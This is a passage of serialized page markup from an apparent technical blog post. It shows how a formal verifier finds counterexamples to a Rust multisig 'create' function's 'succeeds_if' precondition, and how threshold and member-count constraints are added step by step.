Program",{"type":24,"tag":930,"props":26295,"children":26296},{"style":959},[26297],{"type":30,"value":26024},{"type":24,"tag":930,"props":26299,"children":26300},{"style":943},[26301],{"type":30,"value":26029},{"type":24,"tag":930,"props":26303,"children":26304},{"style":959},[26305],{"type":30,"value":962},{"type":24,"tag":930,"props":26307,"children":26308},{"style":943},[26309],{"type":30,"value":26310},"System",{"type":24,"tag":930,"props":26312,"children":26313},{"style":959},[26314],{"type":30,"value":9251},{"type":24,"tag":930,"props":26316,"children":26317},{"class":932,"line":1335},[26318],{"type":24,"tag":930,"props":26319,"children":26320},{"style":959},[26321],{"type":30,"value":2528},{"type":24,"tag":930,"props":26323,"children":26324},{"class":932,"line":1376},[26325],{"type":24,"tag":930,"props":26326,"children":26327},{"emptyLinePlaceholder":16},[26328],{"type":30,"value":2412},{"type":24,"tag":930,"props":26330,"children":26331},{"class":932,"line":1418},[26332,26336,26340,26344],{"type":24,"tag":930,"props":26333,"children":26334},{"style":937},[26335],{"type":30,"value":16797},{"type":24,"tag":930,"props":26337,"children":26338},{"style":937},[26339],{"type":30,"value":16802},{"type":24,"tag":930,"props":26341,"children":26342},{"style":1002},[26343],{"type":30,"value":10224},{"type":24,"tag":930,"props":26345,"children":26346},{"style":959},[26347],{"type":30,"value":2814},{"type":24,"tag":930,"props":26349,"children":26350},{"class":932,"line":1438},[26351,26355,26359,26363,26367,26372],{"type":24,"tag":930,"props":26352,"children":26353},{"style":1023},[26354],{"type":30,"value":23327},{"type":24,"tag":930,"props":26356,"children":26357},{"style":1158},[26358],{"type":30,"value":476},{"type":24,"tag":930,"props":26360,"children":26361},{"style":943},[26362],{"type":30,"value":23393},{"type":24,"tag":930,"props":26364,"children":26365},{"style":959},[26366],{"type":30,"value":1350},{"type":24,"tag":930,"props":26368,"children":26369},{"style":943},[26370],{"type":30,"value":26371},"Create",{"type":24,"tag":930,"props":26373,"children":26374},{"style":959},[26375],{"type":30,"value":9251},{"type":24,"tag":930,"props":26377,"children":26378},{"class":932,"line":1479},[26379,26384,26388,26392],{"type":24,"tag":930,"props":26380,"children":26381},{"style":1023},[26382],{"type":30,"value":26383},"    threshold",{"type":24,"tag":930,"props":26385,"children":26386},{"style":1158},[26387],{"type":30,"value":476},{"type":24,"tag":930,"props":26389,"children":26390},{"style":943},[26391],{"type":30,"value":24132},{"type":24,"tag":930,"props":26393,"children":26394},{"style":959},[26395],{"type":30,"value":2832},{"type":24,"tag":930,"props":26397,"children":26398},{"class":932,"line":1506},[26399,26404,26408,26412],{"type":24,"tag":930,"props":26400,"children":26401},{"style":1023},[26402],{"type":30,"value":26403},"    create_key",{"type":24,"tag":930,"props":26405,"children":26406},{"style":1158},[26407],{"type":30,"value":476},{"type":24,"tag":930,"props":26409,"children":26410},{"style":943},[26411],{"type":30,"value":23959},{"type":24,"tag":930,"props":26413,"children":26414},{"style":959},[26415],{"type":30,"value":2832},{"type":24,"tag":930,"props":26417,"children":26418},{"class":932,"line":1525},[26419,26424,26428,26432,26436,26440],{"type":24,"tag":930,"props":26420,"children":26421},{"style":1023},[26422],{"type":30,"value":26423},"    members",{"type":24,"tag":930,"props":26425,"children":26426},{"style":1158},[26427],{"type":30,"value":476},{"type":24,"tag":930,"props":26429,"children":26430},{"style":943},[26431],{"type":30,"value":24491},{"type":24,"tag":930,"props":26433,"children":26434},{"style":959},[26435],{"type":30,"value":1350},{"type":24,"tag":930,"props":26437,"children":26438},{"style":943},[26439],{"type":30,"value":24500},{"type":24,"tag":930,"props":26441,"children":26442},{"style":959},[26443],{"type":30,"value":9251},{"type":24,"tag":930,"props":26445,"children":26446},{"class":932,"line":1569},[26447,26451,26455,26459],{"type":24,"tag":930,"props":26448,"children":26449},{"style":959},[26450],{"type":30,"value":5579},{"type":24,"tag":930,"props":26452,"children":26453},{"style":1158},[26454],{"type":30,"value":16864},{"type":24,"tag":930,"props":26456,"children":26457},{"style":943},[26458],{"type":30,"value":16869},{"type":24,"tag":930,"props":26460,"children":26461},{"style":959},[26462],{"type":30,"value":23435},{"type":24,"tag":930,"props":26464,"children":26465},{"class":932,"line":1592},[26466],{"type":24,"tag":930,"props":26467,"children":26468},{"style":1422},[26469],{"type":30,"value":26470},"    // sort the members and remove duplicates\n",{"type":24,"tag":930,"props":26472,"children":26473},{"class":932,"line":1610},[26474,26478,26482,26487,26491,26495],{"type":24,"tag":930,"props":26475,"children":26476},{"style":937},[26477],{"type":30,"value":6122},{"type":24,"tag":930,"props":26479,"children":26480},{"style":937},[26481],{"type":30,"value":6127},{"type":24,"tag":930,"props":26483,"children":26484},{"style":1023},[26485],{"type":30,"value":26486}," members",{"type":24,"tag":930,"props":26488,"children":26489},{"style":1158},[26490],{"type":30,"value":6137},{"type":24,"tag":930,"props":26492,"children":26493},{"style":1023},[26494],{"type":30,"value":26486},{"type":24,"tag":930,"props":26496,"children":26497},{"style":959},[26498],{"type":30,"value":5539},{"type":24,"tag":930,"props":26500,"children":26501},{"class":932,"line":1628},[26502,26506,26510,26515],{"type":24,"tag":930,"props":26503,"children":26504},{"style":1023},[26505],{"type":30,"value":26423},{"type":24,"tag":930,"props":26507,"children":26508},{"style":1158},[26509],{"type":30,"value":436},{"type":24,"tag":930,"props":26511,"children":26512},{"style":1002},[26513],{"type":30,"value":26514},"sort",{"type":24,"tag":930,"props":26516,"children":26517},{"style":959},[26518],{"type":30,"value":1310},{"type":24,"tag":930,"props":26520,"children":26521},{"class":932,"line":1637},[26522,26526,26530,26535],{"type":24,"tag":930,"props":26523,"children":26524},{"style":1023},[26525],{"type":30,"value":26423},{"type":24,"tag":930,"props":26527,"children":26528},{"style":1158},[26529],{"type":30,"value":436},{"type":24,"tag":930,"props":26531,"children":26532},{"style":1002},[26533],{"type":30,"value":26534},"dedup",{"type":24,"tag":930,"props":26536,"children":26537},{"style":959},[26538],{"type":30,"value":1310},{"type":24,"tag":930,"props":26540,"children":26541},{"class":932,"line":1646},[26542],{"type":24,"tag":930,"props":26543,"children":26544},{"emptyLinePlaceholder":16},[26545],{"type":30,"value":2412},{"type":24,"tag":930,"props":26547,"children":26548},{"class":932,"line":1673},[26549],{"type":24,"tag":930,"props":26550,"children":26551},{"style":1422},[26552],{"type":30,"value":26553},"    // check we don't exceed u16\n",{"type":24,"tag":930,"props":26555,"children":26556},{"class":932,"line":1692},[26557,26561,26566,26570,26574,26578,26582],{"type":24,"tag":930,"props":26558,"children":26559},{"style":937},[26560],{"type":30,"value":6122},{"type":24,"tag":930,"props":26562,"children":26563},{"style":1023},[26564],{"type":30,"value":26565}," total_members",{"type":24,"tag":930,"props":26567,"children":26568},{"style":1158},[26569],{"type":30,"value":6137},{"type":24,"tag":930,"props":26571,"children":26572},{"style":1023},[26573],{"type":30,"value":26486},{"type":24,"tag":930,"props":26575,"children":26576},{"style":1158},[26577],{"type":30,"value":436},{"type":24,"tag":930,"props":26579,"children":26580},{"style":1002},[26581],{"type":30,"value":12247},{"type":24,"tag":930,"props":26583,"children":26584},{"style":959},[26585],{"type":30,"value":1310},{"type":24,"tag":930,"props":26587,"children":26588},{"class":932,"line":1730},[26589,26593,26597,26601,26605],{"type":24,"tag":930,"props":26590,"children":26591},{"style":1079},[26592],{"type":30,"value":15386},{"type":24,"tag":930,"props":26594,"children":26595},{"style":1023},[26596],{"type":30,"value":26565},{"type":24,"tag":930,"props":26598,"children":26599},{"style":1158},[26600],{"type":30,"value":11828},{"type":24,"tag":930,"props":26602,"children":26603},{"style":1242},[26604],{"type":30,"value":7637},{"type":24,"tag":930,"props":26606,"children":26607},{"style":959},[26608],{"type":30,"value":981},{"type":24,"tag":930,"props":26610,"children":26611},{"class":932,"line":1762},[26612,26616,26621,26625,26630,26634,26639],{"type":24,"tag":930,"props":26613,"children":26614},{"style":1079},[26615],{"type":30,"value":18847},{"type":24,"tag":930,"props":26617,"children":26618},{"style":1002},[26619],{"type":30,"value":26620}," err!",{"type":24,"tag":930,"props":26622,"children":26623},{"style":959},[26624],{"type":30,"value":1010},{"type":24,"tag":930,"props":26626,"children":26627},{"style":943},[26628],{"type":30,"value":26629},"MsError",{"type":24,"tag":930,"props":26631,"children":26632},{"style":1158},[26633],{"type":30,"value":6597},{"type":24,"tag":930,"props":26635,"children":26636},{"style":943},[26637],{"type":30,"value":26638},"EmptyMembers",{"type":24,"tag":930,"props":26640,"children":26641},{"style":959},[26642],{"type":30,"value":1278},{"type":24,"tag":930,"props":26644,"children":26645},{"class":932,"line":1775},[26646],{"type":24,"tag":930,"props":26647,"children":26648},{"style":959},[26649],{"type":30,"value":1840},{"type":24,"tag":930,"props":26651,"children":26652},{"class":932,"line":1825},[26653],{"type":24,"tag":930,"props":26654,"children":26655},{"emptyLinePlaceholder":16},[26656],{"type":30,"value":2412},{"type":24,"tag":930,"props":26658,"children":26659},{"class":932,"line":1834},[26660],{"type":24,"tag":930,"props":26661,"children":26662},{"style":1422},[26663],{"type":30,"value":26664},"    // make sure we don't exceed u16 on first call\n",{"type":24,"tag":930,"props":26666,"children":26667},{"class":932,"line":1843},[26668,26672,26676,26680,26684,26688,26692,26697,26701],{"type":24,"tag":930,"props":26669,"children":26670},{"style":1079},[26671],{"type":30,"value":15386},{"type":24,"tag":930,"props":26673,"children":26674},{"style":1023},[26675],{"type":30,"value":26565},{"type":24,"tag":930,"props":26677,"children":26678},{"style":1158},[26679],{"type":30,"value":17300},{"type":24,"tag":930,"props":26681,"children":26682},{"style":943},[26683],{"type":30,"value":16838},{"type":24,"tag":930,"props":26685,"children":26686},{"style":1158},[26687],{"type":30,"value":6597},{"type":24,"tag":930,"props":26689,"children":26690},{"style":1002},[26691],{"type":30,"value":22576},{"type":24,"tag":930,"props":26693,"children":26694},{"style":959},[26695],{"type":30,"value":26696},"(u16",{"type":24,"tag":930,"props":26698,"children":26699},{"style":1158},[26700],{"type":30,"value":6597},{"type":24,"tag":930,"props":26702,"children":26703},{"style":959},[26704],{"type":30,"value":26705},"MAX) {\n",{"type":24,"tag":930,"props":26707,"children":26708},{"class":932,"line":1851},[26709,26713,26717,26721,26725,26729,26734],{"type":24,"tag":930,"props":26710,"children":26711},{"style":1079},[26712],{"type":30,"value":18847},{"type":24,"tag":930,"props":26714,"children":26715},{"style":1002},[26716],{"type":30,"value":26620},{"type":24,"tag":930,"props":26718,"children":26719},{"style":959},[26720],{"type":30,"value":1010},{"type":24,"tag":930,"props":26722,"children":26723},{"style":943},[26724],{"type":30,"value":26629},{"type":24,"tag":930,"props":26726,"children":26727},{"style":1158},[26728],{"type":30,"value":6597},{"type":24,"tag":930,"props":26730,"children":26731},{"style":943},[26732],{"type":30,"value":26733},"MaxMembersReached",{"type":24,"tag":930,"props":26735,"children":26736},{"style":959},[26737],{"type":30,"value":1278},{"type":24,"tag":930,"props":26739,"children":26740},{"class":932,"line":1919},[26741],{"type":24,"tag":930,"props":26742,"children":26743},{"style":959},[26744],{"type":30,"value":1840},{"type":24,"tag":930,"props":26746,"children":26747},{"class":932,"line":1927},[26748],{"type":24,"tag":930,"props":26749,"children":26750},{"emptyLinePlaceholder":16},[26751],{"type":30,"value":2412},{"type":24,"tag":930,"props":26753,"children":26754},{"class":932,"line":1935},[26755],{"type":24,"tag":930,"props":26756,"children":26757},{"style":1422},[26758],{"type":30,"value":26759},"    // make sure threshold is valid\n",{"type":24,"tag":930,"props":26761,"children":26762},{"class":932,"line":1943},[26763,26767,26771,26775,26779,26783,26787,26792,26796,26800,26804,26808,26812,26816,26820,26825,26830],{"type":24,"tag":930,"props":26764,"children":26765},{"style":1079},[26766],{"type":30,"value":15386},{"type":24,"tag":930,"props":26768,"children":26769},{"style":943},[26770],{"type":30,"value":16838},{"type":24,"tag":930,"props":26772,"children":26773},{"style":1158},[26774],{"type":30,"value":6597},{"type":24,"tag":930,"props":26776,"children":26777},{"style":1002},[26778],{"type":30,"value":22576},{"type":24,"tag":930,"props":26780,"children":26781},{"style":959},[26782],{"type":30,"value":1010},{"type":24,"tag":930,"props":26784,"children":26785},{"style":1023},[26786],{"type":30,"value":25851},{"type":24,"tag":930,"props":26788,"children":26789},{"style":959},[26790],{"type":30,"value":26791},") \u003C ",{"type":24,"tag":930,"props":26793,"children":26794},{"style":1242},[26795],{"type":30,"value":7129},{"type":24,"tag":930,"props":26797,"children":26798},{"style":1158},[26799],{"type":30,"value":1250},{"type":24,"tag":930,"props":26801,"children":26802},{"style":943},[26803],{"type":30,"value":16838},{"type":24,"tag":930,"props":26805,"children":26806},{"style":1158},[26807],{"type":30,"value":6597},{"type":24,"tag":930,"props":26809,"children":26810},{"style":1002},[26811],{"type":30,"value":22576},{"type":24,"tag":930,"props":26813,"children":26814},{"style":959},[26815],{"type":30,"value":1010},{"type":24,"tag":930,"props":26817,"children":26818},{"style":1023},[26819],{"type":30,"value":25851},{"type":24,"tag":930,"props":26821,"children":26822},{"style":959},[26823],{"type":30,"value":26824},") > ",{"type":24,"tag":930,"props":26826,"children":26827},{"style":1023},[26828],{"type":30,"value":26829},"total_members",{"type":24,"tag":930,"props":26831,"children":26832},{"style":959},[26833],{"type":30,"value":981},{"type":24,"tag":930,"props":26835,"children":26836},{"class":932,"line":1955},[26837,26841,26845,26849,26853,26857,26862],{"type":24,"tag":930,"props":26838,"children":26839},{"style":1079},[26840],{"type":30,"value":18847},{"type":24,"tag":930,"props":26842,"children":26843},{"style":1002},[26844],{"type":30,"value":26620},{"type":24,"tag":930,"props":26846,"children":26847},{"style":959},[26848],{"type":30,"value":1010},{"type":24,"tag":930,"props":26850,"children":26851},{"style":943},[26852],{"type":30,"value":26629},{"type":24,"tag":930,"props":26854,"children":26855},{"style":1158},[26856],{"type":30,"value":6597},{"type":24,"tag":930,"props":26858,"children":26859},{"style":943},[26860],{"type":30,"value":26861},"InvalidThreshold",{"type":24,"tag":930,"props":26863,"children":26864},{"style":959},[26865],{"type":30,"value":1278},{"type":24,"tag":930,"props":26867,"children":26868},{"class":932,"line":1975},[26869],{"type":24,"tag":930,"props":26870,"children":26871},{"style":959},[26872],{"type":30,"value":1840},{"type":24,"tag":930,"props":26874,"children":26875},{"class":932,"line":1995},[26876],{"type":24,"tag":930,"props":26877,"children":26878},{"emptyLinePlaceholder":16},[26879],{"type":30,"value":2412},{"type":24,"tag":930,"props":26881,"children":26882},{"class":932,"line":2061},[26883,26887,26891,26895,26899,26904,26908,26912],{"type":24,"tag":930,"props":26884,"children":26885},{"style":1023},[26886],{"type":30,"value":23327},{"type":24,"tag":930,"props":26888,"children":26889},{"style":1158},[26890],{"type":30,"value":436},{"type":24,"tag":930,"props":26892,"children":26893},{"style":959},[26894],{"type":30,"value":17781},{"type":24,"tag":930,"props":26896,"children":26897},{"style":1158},[26898],{"type":30,"value":436},{"type":24,"tag":930,"props":26900,"children":26901},{"style":959},[26902],{"type":30,"value":26903},"multisig",{"type":24,"tag":930,"props":26905,"children":26906},{"style":1158},[26907],{"type":30,"value":436},{"type":24,"tag":930,"props":26909,"children":26910},{"style":1002},[26911],{"type":30,"value":23843},{"type":24,"tag":930,"props":26913,"children":26914},{"style":959},[26915],{"type":30,"value":2814},{"type":24,"tag":930,"props":26917,"children":26918},{"class":932,"line":2085},[26919,26924],{"type":24,"tag":930,"props":26920,"children":26921},{"style":1023},[26922],{"type":30,"value":26923},"        threshold",{"type":24,"tag":930,"props":26925,"children":26926},{"style":959},[26927],{"type":30,"value":2832},{"type":24,"tag":930,"props":26929,"children":26930},{"class":932,"line":2119},[26931,26936],{"type":24,"tag":930,"props":26932,"children":26933},{"style":1023},[26934],{"type":30,"value":26935},"        create_key",{"type":24,"tag":930,"props":26937,"children":26938},{"style":959},[26939],{"type":30,"value":2832},{"type":24,"tag":930,"props":26941,"children":26942},{"class":932,"line":2135},[26943,26948],{"type":24,"tag":930,"props":26944,"children":26945},{"style":1023},[26946],{"type":30,"value":26947},"        members",{"type":24,"tag":930,"props":26949,"children":26950},{"style":959},[26951],{"type":30,"value":2832},{"type":24,"tag":930,"props":26953,"children":26954},{"class":932,"line":2171},[26955,26959,26963,26967,26972,26976,26980,26984,26989,26993,26997,27001],{"type":24,"tag":930,"props":26956,"children":26957},{"style":1158},[26958],{"type":30,"value":10861},{"type":24,"tag":930,"props":26960,"children":26961},{"style":1023},[26962],{"type":30,"value":23384},{"type":24,"tag":930,"props":26964,"children":26965},{"style":1158},[26966],{"type":30,"value":436},{"type":24,"tag":930,"props":26968,"children":26969},{"style":959},[26970],{"type":30,"value":26971},"bumps",{"type":24,"tag":930,"props":26973,"children":26974},{"style":1158},[26975],{"type":30,"value":436},{"type":24,"tag":930,"props":26977,"children":26978},{"style":1002},[26979],{"type":30,"value":19454},{"type":24,"tag":930,"props":26981,"children":26982},{"style":959},[26983],{"type":30,"value":1010},{"type":24,"tag":930,"props":26985,"children":26986},{"style":1270},[26987],{"type":30,"value":26988},"\"multisig\"",{"type":24,"tag":930,"props":26990,"children":26991},{"style":959},[26992],{"type":30,"value":6249},{"type":24,"tag":930,"props":26994,"children":26995},{"style":1158},[26996],{"type":30,"value":436},{"type":24,"tag":930,"props":26998,"children":26999},{"style":1002},[27000],{"type":30,"value":6781},{"type":24,"tag":930,"props":27002,"children":27003},{"style":959},[27004],{"type":30,"value":6607},{"type":24,"tag":930,"props":27006,"children":27007},{"class":932,"line":2180},[27008],{"type":24,"tag":930,"props":27009,"children":27010},{"style":959},[27011],{"type":30,"value":2877},{"type":24,"tag":930,"props":27013,"children":27014},{"class":932,"line":2220},[27015],{"type":24,"tag":930,"props":27016,"children":27017},{"style":959},[27018],{"type":30,"value":2528},{"type":24,"tag":33,"props":27020,"children":27021},{},[27022,27024,27029,27031,27036],{"type":30,"value":27023},"We can start by testing an empty ",{"type":24,"tag":156,"props":27025,"children":27027},{"className":27026},[],[27028],{"type":30,"value":23258},{"type":30,"value":27030}," (this will default to ",{"type":24,"tag":156,"props":27032,"children":27034},{"className":27033},[],[27035],{"type":30,"value":7110},{"type":30,"value":27037},"):",{"type":24,"tag":920,"props":27039,"children":27041},{"code":27040,"language":6101,"meta":7,"className":6102,"style":7},"#[succeeds_if()]\npub fn create(...) { ... }\n",[27042],{"type":24,"tag":156,"props":27043,"children":27044},{"__ignoreMap":7},[27045,27053],{"type":24,"tag":930,"props":27046,"children":27047},{"class":932,"line":933},[27048],{"type":24,"tag":930,"props":27049,"children":27050},{"style":959},[27051],{"type":30,"value":27052},"#[succeeds_if()]\n",{"type":24,"tag":930,"props":27054,"children":27055},{"class":932,"line":984},[27056,27060,27064,27068,27072,27076,27081,27085],{"type":24,"tag":930,"props":27057,"children":27058},{"style":937},[27059],{"type":30,"value":16797},{"type":24,"tag":930,"props":27061,"children":27062},{"style":937},[27063],{"type":30,"value":16802},{"type":24,"tag":930,"props":27065,"children":27066},{"style":1002},[27067],{"type":30,"value":10224},{"type":24,"tag":930,"props":27069,"children":27070},{"style":959},[27071],{"type":30,"value":1010},{"type":24,"tag":930,"props":27073,"children":27074},{"style":1158},[27075],{"type":30,"value":12699},{"type":24,"tag":930,"props":27077,"children":27078},{"style":959},[27079],{"type":30,"value":27080},") { ",{"type":24,"tag":930,"props":27082,"children":27083},{"style":1158},[27084],{"type":30,"value":12699},{"type":24,"tag":930,"props":27086,"children":27087},{"style":959},[27088],{"type":30,"value":12704},{"type":24,"tag":33,"props":27090,"children":27091},{},[27092],{"type":30,"value":27093},"Running the solver, we get:",{"type":24,"tag":920,"props":27095,"children":27097},{"code":27096},"...\nVERIFICATION:- FAILED\nVerification Time: 6.404167s\n",[27098],{"type":24,"tag":156,"props":27099,"children":27100},{"__ignoreMap":7},[27101],{"type":30,"value":27096},{"type":24,"tag":33,"props":27103,"children":27104},{},[27105,27107,27112],{"type":30,"value":27106},"This means that ",{"type":24,"tag":156,"props":27108,"children":27110},{"className":27109},[],[27111],{"type":30,"value":7110},{"type":30,"value":27113}," does not imply that the function will succeed (which is expected looking at the implementation above).",{"type":24,"tag":33,"props":27115,"children":27116},{},[27117],{"type":30,"value":27118},"We can ask the solver to produce a counterexample:",{"type":24,"tag":920,"props":27120,"children":27122},{"code":27121},"threshold: 33764\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[27123],{"type":24,"tag":156,"props":27124,"children":27125},{"__ignoreMap":7},[27126],{"type":30,"value":27121},{"type":24,"tag":33,"props":27128,"children":27129},{},[27130],{"type":30,"value":27131},"In this case, we can see that the threshold is invalid; it should not be larger than the number of members.",{"type":24,"tag":33,"props":27133,"children":27134},{},[27135],{"type":24,"tag":6032,"props":27136,"children":27137},{},[27138,27140,27146],{"type":30,"value":27139},"Note also that the verifier decided to use a ",{"type":24,"tag":156,"props":27141,"children":27143},{"className":27142},[],[27144],{"type":30,"value":27145},"SparseVec",{"type":30,"value":27147}," which is one of our custom vec implementations. In this case, the code we are verifying doesn't actually read or write to the vector and so we can model it simply as a symbolic size (with no data).",{"type":24,"tag":33,"props":27149,"children":27150},{},[27151],{"type":24,"tag":6032,"props":27152,"children":27153},{},[27154,27156,27161,27162,27168,27170,27175,27177,27182],{"type":30,"value":27155},"Using a sparse vec rather than a concrete vec is generally preferred as it speeds up computation and allows us to model arbitrarily sized vecs. ",{"type":24,"tag":156,"props":27157,"children":27159},{"className":27158},[],[27160],{"type":30,"value":6928},{"type":30,"value":211},{"type":24,"tag":156,"props":27163,"children":27165},{"className":27164},[],[27166],{"type":30,"value":27167},"pop",{"type":30,"value":27169}," are stubbed out to simply panic for the ",{"type":24,"tag":156,"props":27171,"children":27173},{"className":27172},[],[27174],{"type":30,"value":27145},{"type":30,"value":27176}," and if this code tried to do that we would fall back to the concrete ",{"type":24,"tag":156,"props":27178,"children":27180},{"className":27179},[],[27181],{"type":30,"value":20312},{"type":30,"value":27183}," type.",{"type":24,"tag":33,"props":27185,"children":27186},{},[27187],{"type":30,"value":27188},"We can add this to our constraint and try again:",{"type":24,"tag":920,"props":27190,"children":27192},{"code":27191,"language":6101,"meta":7,"className":6102,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n)]\npub fn create(...) { ... }\n",[27193],{"type":24,"tag":156,"props":27194,"children":27195},{"__ignoreMap":7},[27196,27204,27241,27248],{"type":24,"tag":930,"props":27197,"children":27198},{"class":932,"line":933},[27199],{"type":24,"tag":930,"props":27200,"children":27201},{"style":959},[27202],{"type":30,"value":27203},"#[succeeds_if(\n",{"type":24,"tag":930,"props":27205,"children":27206},{"class":932,"line":984},[27207,27212,27216,27220,27224,27228,27232,27236],{"type":24,"tag":930,"props":27208,"children":27209},{"style":959},[27210],{"type":30,"value":27211},"    (threshold ",{"type":24,"tag":930,"props":27213,"children":27214},{"style":937},[27215],{"type":30,"value":11951},{"type":24,"tag":930,"props":27217,"children":27218},{"style":943},[27219],{"type":30,"value":16838},{"type":24,"tag":930,"props":27221,"children":27222},{"style":959},[27223],{"type":30,"value":5579},{"type":24,"tag":930,"props":27225,"children":27226},{"style":1158},[27227],{"type":30,"value":22517},{"type":24,"tag":930,"props":27229,"children":27230},{"style":959},[27231],{"type":30,"value":26486},{"type":24,"tag":930,"props":27233,"children":27234},{"style":1158},[27235],{"type":30,"value":436},{"type":24,"tag":930,"props":27237,"children":27238},{"style":959},[27239],{"type":30,"value":27240},"len()\n",{"type":24,"tag":930,"props":27242,"children":27243},{"class":932,"line":993},[27244],{"type":24,"tag":930,"props":27245,"children":27246},{"style":959},[27247],{"type":30,"value":23362},{"type":24,"tag":930,"props":27249,"children":27250},{"class":932,"line":1057},[27251,27255,27259,27263,27267,27271,27275,27279],{"type":24,"tag":930,"props":27252,"children":27253},{"style":937},[27254],{"type":30,"value":16797},{"type":24,"tag":930,"props":27256,"children":27257},{"style":937},[27258],{"type":30,"value":16802},{"type":24,"tag":930,"props":27260,"children":27261},{"style":1002},[27262],{"type":30,"value":10224},{"type":24,"tag":930,"props":27264,"children":27265},{"style":959},[27266],{"type":30,"value":1010},{"type":24,"tag":930,"props":27268,"children":27269},{"style":1158},[27270],{"type":30,"value":12699},{"type":24,"tag":930,"props":27272,"children":27273},{"style":959},[27274],{"type":30,"value":27080},{"type":24,"tag":930,"props":27276,"children":27277},{"style":1158},[27278],{"type":30,"value":12699},{"type":24,"tag":930,"props":27280,"children":27281},{"style":959},[27282],{"type":30,"value":12704},{"type":24,"tag":33,"props":27284,"children":27285},{},[27286],{"type":30,"value":27287},"Verification failed again! This time we get a different counterexample:",{"type":24,"tag":920,"props":27289,"children":27291},{"code":27290},"threshold: 0\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[27292],{"type":24,"tag":156,"props":27293,"children":27294},{"__ignoreMap":7},[27295],{"type":30,"value":27290},{"type":24,"tag":33,"props":27297,"children":27298},{},[27299],{"type":30,"value":27300},"Aha! The threshold cannot be 0 either... Let's try again:",{"type":24,"tag":920,"props":27302,"children":27304},{"code":27303,"language":6101,"meta":7,"className":6102,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && threshold != 0\n)]\npub fn create(...) { ... }\n",[27305],{"type":24,"tag":156,"props":27306,"children":27307},{"__ignoreMap":7},[27308,27315,27350,27371,27378],{"type":24,"tag":930,"props":27309,"children":27310},{"class":932,"line":933},[27311],{"type":24,"tag":930,"props":27312,"children":27313},{"style":959},[27314],{"type":30,"value":27203},{"type":24,"tag":930,"props":27316,"children":27317},{"class":932,"line":984},[27318,27322,27326,27330,27334,27338,27342,27346],{"type":24,"tag":930,"props":27319,"children":27320},{"style":959},[27321],{"type":30,"value":27211},{"type":24,"tag":930,"props":27323,"children":27324},{"style":937},[27325],{"type":30,"value":11951},{"type":24,"tag":930,"props":27327,"children":27328},{"style":943},[27329],{"type":30,"value":16838},{"type":24,"tag":930,"props":27331,"children":27332},{"style":959},[27333],{"type":30,"value":5579},{"type":24,"tag":930,"props":27335,"children":27336},{"style":1158},[27337],{"type":30,"value":22517},{"type":24,"tag":930,"props":27339,"children":27340},{"style":959},[27341],{"type":30,"value":26486},{"type":24,"tag":930,"props":27343,"children":27344},{"style":1158},[27345],{"type":30,"value":436},{"type":24,"tag":930,"props":27347,"children":27348},{"style":959},[27349],{"type":30,"value":27240},{"type":24,"tag":930,"props":27351,"children":27352},{"class":932,"line":993},[27353,27357,27362,27366],{"type":24,"tag":930,"props":27354,"children":27355},{"style":1158},[27356],{"type":30,"value":18725},{"type":24,"tag":930,"props":27358,"children":27359},{"style":959},[27360],{"type":30,"value":27361}," threshold ",{"type":24,"tag":930,"props":27363,"children":27364},{"style":1158},[27365],{"type":30,"value":4681},{"type":24,"tag":930,"props":27367,"children":27368},{"style":959},[27369],{"type":30,"value":27370}," 0\n",{"type":24,"tag":930,"props":27372,"children":27373},{"class":932,"line":1057},[27374],{"type":24,"tag":930,"props":27375,"children":27376},{"style":959},[27377],{"type":30,"value":23362},{"type":24,"tag":930,"props":27379,"children":27380},{"class":932,"line":1066},[27381,27385,27389,27393,27397,27401,27405,27409],{"type":24,"tag":930,"props":27382,"children":27383},{"style":937},[27384],{"type":30,"value":16797},{"type":24,"tag":930,"props":27386,"children":27387},{"style":937},[27388],{"type":30,"value":16802},{"type":24,"tag":930,"props":27390,"children":27391},{"style":1002},[27392],{"type":30,"value":10224},{"type":24,"tag":930,"props":27394,"children":27395},{"style":959},[27396],{"type":30,"value":1010},{"type":24,"tag":930,"props":27398,"children":27399},{"style":1158},[27400],{"type":30,"value":12699},{"type":24,"tag":930,"props":27402,"children":27403},{"style":959},[27404],{"type":30,"value":27080},{"type":24,"tag":930,"props":27406,"children":27407},{"style":1158},[27408],{"type":30,"value":12699},{"type":24,"tag":930,"props":27410,"children":27411},{"style":959},[27412],{"type":30,"value":12704},{"type":24,"tag":33,"props":27414,"children":27415},{},[27416],{"type":30,"value":27417},"A third counterexample:",{"type":24,"tag":920,"props":27419,"children":27421},{"code":27420},"threshold: 4\ncreate_key: ...\nmembers: SparseVec { size: 536870920 }\n",[27422],{"type":24,"tag":156,"props":27423,"children":27424},{"__ignoreMap":7},[27425],{"type":30,"value":27420},{"type":24,"tag":33,"props":27427,"children":27428},{},[27429,27431,27437],{"type":30,"value":27430},"Here we see the size of our ",{"type":24,"tag":156,"props":27432,"children":27434},{"className":27433},[],[27435],{"type":30,"value":27436},"members",{"type":30,"value":27438}," vec is huge! We need to constrain that to be less than u16::MAX:",{"type":24,"tag":920,"props":27440,"children":27442},{"code":27441,"language":6101,"meta":7,"className":6102,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && (threshold != 0)\n    && (members.len() \u003C= (u16::MAX as usize))\n)]\npub fn create(...) { ... }\n",[27443],{"type":24,"tag":156,"props":27444,"children":27445},{"__ignoreMap":7},[27446,27453,27488,27509,27561,27568],{"type":24,"tag":930,"props":27447,"children":27448},{"class":932,"line":933},[27449],{"type":24,"tag":930,"props":27450,"children":27451},{"style":959},[27452],{"type":30,"value":27203},{"type":24,"tag":930,"props":27454,"children":27455},{"class":932,"line":984},[27456,27460,27464,27468,27472,27476,27480,27484],{"type":24,"tag":930,"props":27457,"children":27458},{"style":959},[27459],{"type":30,"value":27211},{"type":24,"tag":930,"props":27461,"children":27462},{"style":937},[27463],{"type":30,"value":11951},{"type":24,"tag":930,"props":27465,"children":27466},{"style":943},[27467],{"type":30,"value":16838},{"type":24,"tag":930,"props":27469,"children":27470},{"style":959},[27471],{"type":30,"value":5579},{"type":24,"tag":930,"props":27473,"children":27474},{"style":1158},[27475],{"type":30,"value":22517},{"type":24,"tag":930,"props":27477,"children":27478},{"style":959},[27479],{"type":30,"value":26486},{"type":24,"tag":930,"props":27481,"children":27482},{"style":1158},[27483],{"type":30,"value":436},{"type":24,"tag":930,"props":27485,"children":27486},{"style":959},[27487],{"type":30,"value":27240},{"type":24,"tag":930,"props":27489,"children":27490},{"class":932,"line":993},[27491,27495,27500,27504],